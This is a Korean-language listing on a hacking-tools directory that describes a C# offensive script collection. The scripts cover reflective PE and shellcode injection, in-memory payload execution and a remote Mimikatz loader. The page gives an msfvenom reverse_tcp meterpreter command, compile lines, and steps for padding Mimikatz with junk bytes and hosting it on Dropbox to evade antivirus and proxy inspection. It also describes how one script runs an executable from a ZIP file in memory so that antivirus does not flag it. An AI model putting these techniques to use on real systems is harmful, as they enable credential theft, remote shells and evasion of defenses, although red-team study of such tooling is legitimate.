Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CSharpScripts — 반사형 PE 및 셸코드 인젝션, 인메모리 페이로드 실행, XOR 브루트포스 셸코드 복호화, .NET 어셈블리 파싱을 위한 C# 공격 스크립트. | Kitploit
도구/GitHubGitHub/arno0x/csharpscripts
Encryption/Decryption ToolsReverse EngineeringShellcodePost-ExploitationMalware AnalysisPenetration TestingRed TeamingPayload DevelopmentBinary Exploitation
GitHubarno0x/csharpscripts

CSharpScripts

반사형 PE 및 셸코드 인젝션, 인메모리 페이로드 실행, XOR 브루트포스 셸코드 복호화, .NET 어셈블리 파싱을 위한 C# 공격 스크립트.

344112209년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

C# 스크립트

작성자: Arno0x0x - @Arno0x0x

이 저장소는 제 C# 스크립트 일부를 공개하는 것을 목표로 합니다. 일부는 여기저기서 찾은 다른 스크립트에서 포크하거나 영감을 받은 것이며, 제 필요에 맞게 적용하거나 단순히 배우고 개선하기 위해 각색했습니다.

무차별 대입(bf)을 통한 복호화 후, xor 암호화된 셸코드를 로드하고 실행하기

bfDecryptShellcode.cs

이 스크립트는 다중 바이트 XOR 암호화된 셸코드를 무차별 대입으로 복호화하는 다소 단순하고 그다지 유용하지 않을 수 있는 PoC입니다. 셸코드가 복호화되면 메모리에 로드되어 실행됩니다.

사용하려면 두 가지가 필요합니다:

  1. 다중 바이트 XOR 암호화된 셸코드
  2. 올바른 복호화 키가 발견되었음을 알기 위한 마커 역할을 하는, 복호화된 페이로드의 MD5 해시

두 가지 모두 제 ShellcodeWrapper 프로젝트를 사용하고 여기에 임의의 raw metasploit 페이로드를 넣어 얻을 수 있습니다.

.Net 어셈블리를 동적으로 로드하고 파싱하기

parseAssembly.cs

이 콘솔 애플리케이션은 .Net 어셈블리(exe 또는 dll)를 로컬 파일 또는 URL에서 다운로드하여 동적으로 로드하며, 선택적으로 base64 인코딩될 수 있습니다. 로드되면 해당 타입, 메서드 및 속성을 열거합니다. 예시: parseAssembly.exe myAssembly.dll 또는 parseAssembly.exe http://some.site.com/myAssembly base64

PE 및 셸코드 반사적 주입 다루기

이것은 다양한 소스에서 호출 프로세스에 PE 또는 셸코드를 반사적으로 주입하는 Casey Smith(@subTee)의 작업을 각색한 스크립트 모음입니다.

peloader.cs

이 스크립트는 base64 인코딩된 x64 PE 파일(예: Mimikatz 또는 Meterpreter)을 프로세스 메모리에 로드하고 반사적으로 실행합니다. PE는 파일 시작 부분에 base64 문자열 변수로 전달됩니다(예, 하드코딩되어 있습니다).

다음 *nix 명령줄을 사용하여 임의의 파일에서 이 base64 인코딩 문자열을 생성할 수 있습니다:

root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64

Windows 머신에서 스크립트를 컴파일하려면 .Net framework가 필요합니다 (Windows 7 이상에서는 기본적으로 설치됨):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs

shellcodelauncher.cs

이 스크립트는 셸코드를 프로세스의 메모리에 실행하고 반사적으로 실행합니다. 셸코드는 변수에 바이트 배열로 전달됩니다. Metasploit의 msfvenom 유틸리티를 사용하여 이 배열에 대한 적절한 코드를 자동으로 생성할 수 있습니다. 예를 들어, reverse_tcp meterpreter 셸코드를 생성하려면:

root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp

Windows 머신에서 스크립트를 컴파일하려면 .Net framework가 필요합니다(Windows 7 이상에서는 기본으로 설치됨):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs

runfromzipinmemory.cs

이 스크립트는 Casey Smith(@subTee)의 Netkatz 작업을 기반으로, 그로부터 영감을 받아, 그로부터 파생된 것으로, 부끄러울 정도로 많은 부분을 의존하고 있습니다.

저는 회사 워크스테이션의 로컬 안티바이러스(McAfee)가 ZIP 파일의 내용을 분석하지 않도록 구성되어 있다는 것을 발견했습니다. 아마도 이 내용을 읽거나 실행해야 할 때면 보통 먼저 디스크 어딘가에 압축을 풀게 되고, 그 안에 있는 악성 요소는 그 시점에 AV에 의해 잡힐 것이라는 가정에 기반한 것으로 보입니다.

이 스크립트가 하는 일은 모든 것을 메모리에 로드하고 오직 그곳에서만 작업하며, 또한 리플렉션을 사용하여 호출 프로세스의 메모리에서 PE를 실행합니다.

따라서 AV가 전혀 경고하지 않을 뿐만 아니라, 포렌식 관점에서도 유일하게 "눈에 보이는 실행 중인 프로세스"가 완벽하게 무해해 보입니다.

Windows 머신에서 이 스크립트를 컴파일하려면 .Net 프레임워크(Windows 7 이상에 기본 설치됨)가 필요합니다:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs

그런 다음 다음을 실행할 수 있습니다:

unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>

netPEloader.cs

이 스크립트는 Casey Smith(@subTee)의 Netkatz 작업에 크게 기반을 두고 있으며 그로부터 영감을 받았습니다.

Netkatz는 최신 mimikatz 릴리스를 GitHub에서 로드하여 메모리에서 바로 실행하는 훌륭한 PoC입니다. 그러나 제 환경에서는 세 가지 문제에 직면했습니다:

  1. 인터넷 연결이 NTLM 인증을 요구하는 기업 프록시를 통해 이루어져야 합니다 (Windows SSO는 괜찮습니다)
  2. Mimikatz의 GitHub 페이지가 웹사이트 분류로 인해 기업 프록시에 의해 차단됩니다
  3. mimikatz_trunked.zip 파일이 프록시 AV에 의해 탐지됩니다 (예, 프록시 수준에서 SSL 검사가 켜져 있는 상태입니다)

그래서 저는 이 세 가지 문제를 해결하기 위해 원본 netkatz 스크립트를 수정했습니다:

  1. 시스템 프록시 및 기본 자격 증명 지원 추가 (현재 로그온한 Windows 사용자)
  2. PE를 www.dropbox.com처럼 무해해 보이는 차단되지 않은 웹사이트에 호스팅
  3. PE를 AV에 탐지되지 않게 만드는 방법으로는 암호화, 특정 인코딩 등 다양한 난독화 기법을 사용할 수 있지만, 저는 실제 x64 Mimikatz PE 앞에 65536개의 무작위 쓰레기 바이트를 추가하는 단순한 기법을 선호합니다:
    • dd if=/dev/urandom of=garbage bs=65536 count=1
    • cat garbage mimikatz.exe > mimiHidden
    • mimiHidden을 dropbox에 업로드하고 공유

숨겨진 PE를 다운로드할 URL은 스크립트에 하드코딩되어 있습니다.

Windows 머신에서 스크립트를 컴파일하려면 .Net framework가 필요합니다 (Windows 7 이상에서는 기본으로 설치됨):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs
도구 다운로드